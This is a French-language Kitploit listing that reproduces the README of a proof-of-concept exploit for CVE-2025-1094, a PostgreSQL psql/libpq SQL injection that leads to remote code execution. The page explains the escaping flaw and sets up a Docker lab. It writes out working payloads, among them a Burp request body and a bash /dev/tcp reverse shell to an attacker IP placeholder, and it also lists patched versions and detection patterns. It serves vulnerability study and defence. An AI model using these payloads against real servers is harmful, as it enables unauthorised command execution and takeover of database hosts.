Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2025-1094 — Exploit de preuve de concept pour CVE-2025-1094, une injection SQL psql PostgreSQL menant à RCE via le contournement de l'échappement libpq. Comprend un environnement Docker, un script d'exploitation et des conseils d'atténuation. | Kitploit
Outils/GitHubGitHub/trandonga3/poc-cve-2025-1094
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Exploit de preuve de concept pour CVE-2025-1094, une injection SQL psql PostgreSQL menant à RCE via le contournement de l'échappement libpq. Comprend un environnement Docker, un script d'exploitation et des conseils d'atténuation.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC CVE-2025-1094: PostgreSQL psql SQL Injection

Proof of Concept pour la vulnérabilité d'injection SQL critique dans le client PostgreSQL libpq et l'outil psql

📋 Table des matières

  1. Introduction à la vulnérabilité
  2. Structure du répertoire du projet
  3. Analyse du payload d'attaque
  4. Guide d'utilisation
  5. Correction et prévention

1. Introduction à la vulnérabilité

Description générale

CVE-2025-1094 est une vulnérabilité critique située dans la bibliothèque client libpq et l'outil en ligne de commande psql de PostgreSQL. Cette vulnérabilité permet à un attaquant d'effectuer une injection SQL et d'élever l'attaque en exécution de code à distance (RCE), même lorsque l'application utilise déjà des fonctions d'échappement de chaînes standard comme .

PQescapeLiteral

Cause racine

L'erreur provient d'une incohérence dans le traitement des chaînes d'octets multioctets (multibyte) invalides (comme UTF-8) entre la bibliothèque d'échappement et l'analyseur syntaxique (parser) de psql.

Deux mécanismes d'attaque principaux :

1. Contournement de l'échappement (Bypass Escaping)

  • La fonction PQescapeLiteral est trompée par un « octet spécial » (par exemple 0xC0)
  • Elle considère cet octet et la guillemet simple (') qui l'accompagne comme un seul caractère
  • Ce qui conduit à ne pas échapper cette guillemet simple

2. RCE via les méta-commandes

  • Lorsque cette chaîne fautive est injectée dans l'outil psql
  • L'attaquant peut s'échapper de la requête SQL et utiliser la commande système \! de psql
  • Ce qui permet d'exécuter du code shell arbitraire sur le serveur

2. Structure du répertoire du projet

Le projet est organisé pour simuler un environnement réaliste lors de l'appel de la fonction C libpq :

root@kitploit:~
.
├── docker-compose.yml       # Khởi động PostgreSQL + Web App
├── exolit.py               # Exploit script - Tấn công từ bên ngoài
├── README.md               # Tài liệu này
└── app/
    ├── app.py             # Flask Web App - Tiếp nhận input user
    ├── Dockerfile         # Build image chứa vulnerable code
    └── init_db.sql        # Khởi tạo database

Composants principaux :

  • Application web Flask : reçoit l'entrée de l'utilisateur via le endpoint /search
  • Fonction C libpq : traite la requête SQL mais ne vérifie pas la validité des octets
  • Méta-commandes psql : permettent d'exécuter des commandes système via \!
  • Subprocess Pipe : l'application transmet la requête SQL à psql via le flux d'entrée

3. Analyse du payload d'attaque

Exemple de payload

root@kitploit:~
hax\xc0'; \! id; #

Décodage de chaque composant :

ComposantValeurSignification
Données d'entréehaxDonnées normales ordinaires
Octet spécial\xc0Octet UTF-8 invalide - contourne l'échappement
Guillemet'Guillemet simple « fantôme » - passe à travers le filtre
Fin de SQL;Termine la requête SQL en cours
Méta-commande\!Commande spéciale de psql - sort vers le shell du système d'exploitation
Commande shellidCommande à exécuter (remplaçable par un reverse shell)
Commentaire#Commentaire SQL - neutralise le reste de la requête

Processus d'exécution :

root@kitploit:~
1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
   ↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
   ↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
   ↓
5. Meta-command \! được kích hoạt
   ↓
6. Lệnh shell id được thực thi với quyền của container

4. Guide d'utilisation

Méthode 1 : Utilisation de Docker Compose (recommandée)

Étape 1 : Démarrer l'environnement

root@kitploit:~
docker-compose up -d

Étape 2 : Attendre le démarrage des conteneurs

root@kitploit:~
docker-compose ps

Assurez-vous que PostgreSQL et l'application Flask sont tous deux en cours d'exécution.

Étape 3 : Exécuter l'exploit

root@kitploit:~
python exolit.py

Résultat attendu : affichage des informations uid=0(root) récupérées depuis le serveur

Étape 4 : Arrêter l'environnement

root@kitploit:~
docker-compose down

Méthode 2 : Utilisation de Burp Suite (manuelle)

Envoi d'une requête HTTP

Envoyez une requête POST à /search avec le corps (body) suivant :

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

Référence de l'encodage URL :

  • %c0 = \xc0 (octet UTF-8 invalide)
  • %27 = ' (guillemet simple)
  • %23 = # (dièse)
  • + = espace

Payload de reverse shell :

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Remarque : remplacez <ip-hacker> et <port-hacker> par l'IP et le port de la machine de l'attaquant


5. Correction et prévention

A. Appliquer les correctifs

Mettez à niveau PostgreSQL vers les versions corrigées :

VersionVersion sûre
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Vérification de l'encodage

Validez toujours que les données d'entrée sont en UTF-8 valide avant de les traiter :

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limiter l'utilisation de la CLI psql

Dans le développement d'applications, utilisez les bibliothèques de pilotes (drivers) officielles :

root@kitploit:~
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Principe du moindre privilège (Least Privilege)

  • Ne pas exécuter l'application web sous le compte root
  • Ne pas exécuter la base de données sous le compte root
  • Utiliser un utilisateur dédié disposant des privilèges minimaux

E. Règles WAF / IDS

Configurez des règles de détection de motifs (patterns) :

root@kitploit:~
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`

📚 Références

  1. Lien vers le fichier source (avant le correctif) Vous pouvez consulter le fichier src/interfaces/libpq/fe-exec.c dans la version 17.2 (version encore vulnérable) :

    • Lien GitHub : PostgreSQL fe-exec.c au tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Fonction importante : recherchez la fonction PQescapeStringInternal (généralement située aux alentours de la ligne 3400 et au-delà). C'est la fonction « cœur » que PQescapeLiteral et PQescapeString appellent toutes les deux.
  2. Consultez le « correctif » (The Patch) - le plus important pour l'analyse white-box Pour comprendre pourquoi ils ont commis l'erreur et comment ils l'ont corrigée, le meilleur moyen est d'examiner le Commit Diff (les changements entre la version vulnérable et la version corrigée).

    • Lien du commit officiel : Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. Analyse de la vulnérabilité : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Télécharger l’outil